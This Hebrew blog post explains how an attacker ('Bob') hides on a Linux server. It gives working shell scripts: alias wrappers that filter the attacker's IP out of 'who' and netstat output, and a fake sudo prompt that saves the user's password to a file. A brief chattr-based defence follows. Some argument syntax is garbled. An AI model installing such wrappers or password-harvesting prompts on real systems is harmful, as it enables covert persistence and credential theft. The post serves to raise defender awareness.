איך לעבוד על ה - sysadmin

שאלתם את עצמכם פעם האם הפלט שאתם רואים בטרמינל אמיתי? כלים כמו awk, tr, cut מאפשרים לשנות פלט טקסט בקלות. איך תוכלו לוודא שהפקודה שאתם מריצים, היא לא נסיון של תוקף לבצע “social engineering” או להסוות את עצמו?

במהלך הפוסט, אני אציג טכניקות נפוצות (יותר/פחות) שבהן תוקפים משתמשים על מנת להשאיר את עצמם במערכת. בכדי ליצור אווירה ריאליסטית נתייחס לתוקף בפוסט בשם “בוב”.
בנוסף נצא מנקודת הנחה, שמנהל המערכת מחובר כמשתמש רגיל רוב הזמן, ולא כ - root.

Who?

הפקודה who, היא הפקודה הראשונה שנריץ בכדי לראות מי מחובר כרגע למערכת.

$ who 
user pts/0 2017-09-01 09:43 (0.0.0.0)
user pts/1 2017-09-01 09:50 (13.37.13.37)

כפי שניתן לראות בפלט הפקודה who מופיעה גם כתובת ה - IP של בוב (13.37.13.37). ואנחנו יכולים לראות בבירור שעוד משתמש מחובר למערכת.
בכדי להסתיר את עצמו, בוב כתב סקריפט בשם im-a-ghost.sh. הפונקציה הראשית נראית כך:

im-a-ghost() {
  who | awk '{ if ( $0 !~ "13.37.13.37"   ) print $0  }'
}

if [ $# -eq 0  ];then
  im-a-ghost
  exit 1
fi

case "$1" in
  -h|--help)
    im-a-ghost-usage
  ;;
  *)

הסקריפט מדפיס כל שורה שלא מופיעה בה המחרוזות: “13.37.13.37”.
בכדי שהסקריפט יחליף את הפקודה who, נריץ את הפקודות הבאות:

$ mv im-a-ghost.sh /var/tmp/ && chmod +x /var/tmp/im-a-ghost.sh 
$ echo "alias who=\"/var/tmp/im-a-ghost.sh\"" >> .bashrc

עכשיו כשה - sysadmin יבדוק מי מחובר למערכת, הפלט יהיה:

$ who
user pts/0 2017-09-01 09:43 (0.0.0.0)

מעולה, אבל כאן זה לא נגמר.

ss / netstat

בכדי להשאר מחובר למערכת, בוב כתב דלת אחורית (backdoor), שתאפשר לו גישה קלה יותר לשרת. אך קיימת בעיה, בהרצה פשוטה של הפקודה ss/netstat ה - backdoor תתגלה. שוב בוב כותב סקריפט בשם hide-my-backdoor.sh:

hide-my-backdoor() {
  netstat "[email protected]" | awk '{ if ( $0 !~ "13.37.13.37"   ) print $0  }'

}

if [ $# -eq 0  ];then
  hide-my-backdoor "[email protected]"
  exit 1
fi

case "$1" in
  -h|--help)
    hide-my-backdoor_usage
  ;;
  *)
esac

אנחנו משתמשים כאן באותה טכניקה, רק שבסקריפט הנוכחי אנחנו מעבירים ארגומנטים לפקודה netstat/ss.

I’m root

בוב נהנה מהגישה לשרת. אך הוא רצה להתקדם לשלב הבא, ולהשיג גישת root. לרעתו ה - sysadmin דאג שהמערכת תהיה מעודכנת. והוא לא הצליח להעלות הרשאות.
אני חושב שכבר ניחשתם מה הוא עשה - im-root.sh.

im-root() {
  username="${USER}"
  printf "[sudo] password for ${username}: "
  read -s x
  echo
  arguments="${@:1}"
  echo "$x" >> /var/tmp/im_root_password
  echo "$x" | sudo -S "${arguments}"

}

לאחר הרצת הסקריפט, הסיסמה תישמר בקובץ im_root_password. והפקודה תרוץ בהרשאות root.
המשימה הושלמה.

איך מתגוננים?

/usr/bin/sudo su 
sudo chattr +i ~/.bashrc
sudo chattr +i ~/.bash_profile

סיכום

התרחיש בפוסט בקלות יכול לתאר מתקפה אמיתית. את ה - clones האלו, ניתן לכתוב בכל שפה, זה קוד פשוט שדורש פונקציות בסיסיות. מי שמבלה את רוב זמנו בטרמינל, יזהה בקלות סקריפטים “באיכות ירודה”.
ובתכלס, מתי שאלתם את עצמכם, האם הפקודה שאתם מריצים בשרת שלכם היא לא “clone”?
תוקף עם מספיק ידע, סבלנות ומשאבים, יצליח בסופו של דבר. ברוב המקרים אתם לא תצפו לזה. ובדרך כלל, לא תהיה לכם שליטה על כל פיסת קוד שמשתמשים יפרסו בשרת שלכם.
את הגרסאות המלאות של הסקריפטים, תוכלו למצוא כאן.

שתהיה לכולנו שנה טובה (ומאובטחת?).

Email Facebook Google LinkedIn Print Twitter
)